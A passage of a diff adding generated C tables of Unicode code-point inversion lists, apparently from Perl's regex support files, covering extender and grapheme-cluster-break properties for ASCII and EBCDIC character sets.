+	0x1AA8,
+	0x1C36,
+	0x1C37,
+	0x1C7B,
+	0x1C7C,
+	0x3005,
+	0x3006,
+	0x3031,
+	0x3036,
+	0x309D,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA60C,
+	0xA60D,
+	0xA9CF,
+	0xA9D0,
+	0xA9E6,
+	0xA9E7,
+	0xAA70,
+	0xAA71,
+	0xAADD,
+	0xAADE,
+	0xAAF3,
+	0xAAF5,
+	0xFF70,
+	0xFF71,
+	0x1135D,
+	0x1135E,
+	0x115C6,
+	0x115C9,
+	0x11A98,
+	0x11A99,
+	0x16B42,
+	0x16B44,
+	0x16FE0,
+	0x16FE2,
+	0x1E944,
+	0x1E947
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EXT_invlist[] = { /* for EBCDIC 1047 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB3,
+	0xB4,
+	0x2D0,
+	0x2D2,
+	0x640,
+	0x641,
+	0x7FA,
+	0x7FB,
+	0xE46,
+	0xE47,
+	0xEC6,
+	0xEC7,
+	0x180A,
+	0x180B,
+	0x1843,
+	0x1844,
+	0x1AA7,
+	0x1AA8,
+	0x1C36,
+	0x1C37,
+	0x1C7B,
+	0x1C7C,
+	0x3005,
+	0x3006,
+	0x3031,
+	0x3036,
+	0x309D,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA60C,
+	0xA60D,
+	0xA9CF,
+	0xA9D0,
+	0xA9E6,
+	0xA9E7,
+	0xAA70,
+	0xAA71,
+	0xAADD,
+	0xAADE,
+	0xAAF3,
+	0xAAF5,
+	0xFF70,
+	0xFF71,
+	0x1135D,
+	0x1135E,
+	0x115C6,
+	0x115C9,
+	0x11A98,
+	0x11A99,
+	0x16B42,
+	0x16B44,
+	0x16FE0,
+	0x16FE2,
+	0x1E944,
+	0x1E947
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EXT_invlist[] = { /* for EBCDIC 037 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB3,
+	0xB4,
+	0x2D0,
+	0x2D2,
+	0x640,
+	0x641,
+	0x7FA,
+	0x7FB,
+	0xE46,
+	0xE47,
+	0xEC6,
+	0xEC7,
+	0x180A,
+	0x180B,
+	0x1843,
+	0x1844,
+	0x1AA7,
+	0x1AA8,
+	0x1C36,
+	0x1C37,
+	0x1C7B,
+	0x1C7C,
+	0x3005,
+	0x3006,
+	0x3031,
+	0x3036,
+	0x309D,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA60C,
+	0xA60D,
+	0xA9CF,
+	0xA9D0,
+	0xA9E6,
+	0xA9E7,
+	0xAA70,
+	0xAA71,
+	0xAADD,
+	0xAADE,
+	0xAAF3,
+	0xAAF5,
+	0xFF70,
+	0xFF71,
+	0x1135D,
+	0x1135E,
+	0x115C6,
+	0x115C9,
+	0x11A98,
+	0x11A99,
+	0x16B42,
+	0x16B44,
+	0x16FE0,
+	0x16FE2,
+	0x1E944,
+	0x1E947
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_GCB__CN_invlist[] = { /* for ASCII/Latin1 */
+	38,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA,
+	0xB,
+	0xD,
+	0xE,
+	0x20,
+	0x7F,
+	0xA0,
+	0xAD,
+	0xAE,
+	0x61C,
+	0x61D,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0xD800,
+	0xE000,
+	0xFEFF,
+	0xFF00,
+	0xFFF0,
+	0xFFFC,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xE1000
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_GCB__CN_invlist[] = { /* for EBCDIC 1047 */
+	38,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x61C,
+	0x61D,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0xD800,
+	0xE000,
+	0xFEFF,
+	0xFF00,
+	0xFFF0,
+	0xFFFC,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_GCB__CN_invlist[] = { /* for EBCDIC 037 */
+	38,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE,
+	0x25,
+	0x26,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x61C,
+	0x61D,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0xD800,
+	0xE000,
+	0xFEFF,
+	0xFF00,
+	0xFFF0,
+	0xFFFC,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_GCB__L_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1100,
+	0x1160,
+	0xA960,
+	0xA97D
+};
+
+static const UV PL_GCB__PP_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x600,
+	0x606,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0xD4E,
+	0xD4F,
+	0x110BD,
+	0x110BE,
+	0x111C2,
+	0x111C4,
+	0x11A3A,
+	0x11A3B,
+	0x11A86,
+	0x11A8A,
+	0x11D46,
+	0x11D47
+};
+
+static const UV PL_GCB__SM_invlist[] = { /* for all charsets */
+	291,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x903,
+	0x904,
+	0x93B,
+	0x93C,
+	0x93E,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x950,
+	0x982,
+	0x984,
+	0x9BF,
+	0x9C1,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0xA03,
+	0xA04,
+	0xA3E,
+	0xA41,
+	0xA83,
+	0xA84,
+	0xABE,
+	0xAC1,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xB02,
+	0xB04,
+	0xB40,
+	0xB41,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xC01,
+	0xC04,
+	0xC41,
+	0xC45,
+	0xC82,
+	0xC84,
+	0xCBE,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC5,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD02,
+	0xD04,
+	0xD3F,
+	0xD41,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD82,
+	0xD84,
+	0xDD0,
+	0xDD2,
+	0xDD8,
+	0xDDF,
+	0xDF2,
+	0xDF4,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xF3E,
+	0xF40,
+	0xF7F,
+	0xF80,
+	0x1031,
+	0x1032,
+	0x103B,
+	0x103D,
+	0x1056,
+	0x1058,
+	0x1084,
+	0x1085,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x1A19,
+	0x1A1B,
+	0x1A55,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A6D,
+	0x1A73,
+	0x1B04,
+	0x1B05,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B45,
+	0x1B82,
+	0x1B83,
+	0x1BA1,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1C24,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1CE1,
+	0x1CE2,
+	0x1CF2,
+	0x1CF4,
+	0x1CF7,
+	0x1CF8,
+	0xA823,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C4,
+	0xA952,
+	0xA954,
+	0xA983,
+	0xA984,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9C1,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA4D,
+	0xAA4E,
+	0xAAEB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF0,
+	0xAAF5,
+	0xAAF6,
+	0xABE3,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABEB,
+	0xABEC,
+	0xABED,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11003,
+	0x11082,
+	0x11083,
+	0x110B0,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x1112C,
+	0x1112D,
+	0x11182,
+	0x11183,
+	0x111B3,
+	0x111B6,
+	0x111BF,
+	0x111C1,
+	0x1122C,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x112E0,
+	0x112E3,
+	0x11302,
+	0x11304,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11362,
+	0x11364,
+	0x11435,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x115B0,
+	0x115B2,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x11630,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x11A07,
+	0x11A09,
+	0x11A39,
+	0x11A3A,
+	0x11A57,
+	0x11A59,
+	0x11A97,
+	0x11A98,
+	0x11C2F,
+	0x11C30,
+	0x11C3E,
+	0x11C3F,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x16F51,
+	0x16F7F,
+	0x1D166,
+	0x1D167,
+	0x1D16D,
+	0x1D16E
+};
+
+static const UV PL_GCB__T_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11A8,
+	0x1200,
+	0xD7CB,
+	0xD7FC
+};
+
+static const UV PL_GCB__V_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1160,
+	0x11A8,
+	0xD7B0,
+	0xD7C7
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_GCB__XX_invlist[] = { /* for ASCII/Latin1 */
+	672,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F,
+	0xA0,
+	0xAD,
+	0xAE,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1038,
+	0x1039,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1084,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x1100,
+	0x1200,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xE000,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFF9E,
+	0xFFA0,
+	0xFFF0,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C2,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A86,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_GCB__XX_invlist[] = { /* for EBCDIC 1047 */
+	672,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
